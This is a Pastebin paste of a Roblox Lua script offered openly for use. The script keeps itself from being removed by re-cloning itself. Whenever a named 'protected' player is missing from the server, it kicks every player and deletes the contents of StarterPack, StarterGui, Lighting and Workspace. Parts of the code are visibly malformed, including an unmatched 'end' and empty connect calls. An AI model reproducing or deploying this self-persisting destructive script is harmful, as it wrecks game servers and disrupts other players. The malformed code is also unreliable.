Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Settings={["Un_Removable"]= "On"}
- local function mFloor(x) return x - x % 1 end
- local Un_Removable = tostring(Settings["Un_Removable"]):lower() == "on"
- if Un_Removable then
- Game.Workspace.DescendantRemoving:connect(function(Child)
- if not Remove_At_Will and Child == script then
- script:Clone().Parent = Game.Workspace
- end
- end)
- end
- c = Instance.new("Hint")
- c.Text = "Roblox.exe is Loaded" -- Enter your message --
- c.Parent = game.Workspace
- while true do
- wait(0.1)
- if not game.Players:findFirstChild("xX1Mem1Xx") then -- You need put here the protected name --
- e=Instance.new("Message")
- e.Parent=game.Workspace
- e.Text = "xX1Mem1Xx left the game or lost the connection,Roblox.exe is disabled" -- Enter your message --
- wait(2)
- e.Parent = game.Workspace
- a = game.StarterPack:getChildren()
- for i = 1,#a do
- a[i]:remove()
- end
- b = game.StarterGui:getChildren()
- for i = 1,#b do
- b[i]:remove()
- end
- c = game.Lighting:getChildren()
- for i = 1,#c do
- c[i]:remove()
- end
- h = game.Players:getChildren()
- for i = 1,#h do
- h[i]:remove()
- end
- j = game.Workspace:getChildren()
- for i = 1, #j do
- j[i]:remove()
- end
- end
- end
- Game.JointsService.DescendantAdded:connect()
- Workspace.DescendantAdded:connect()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement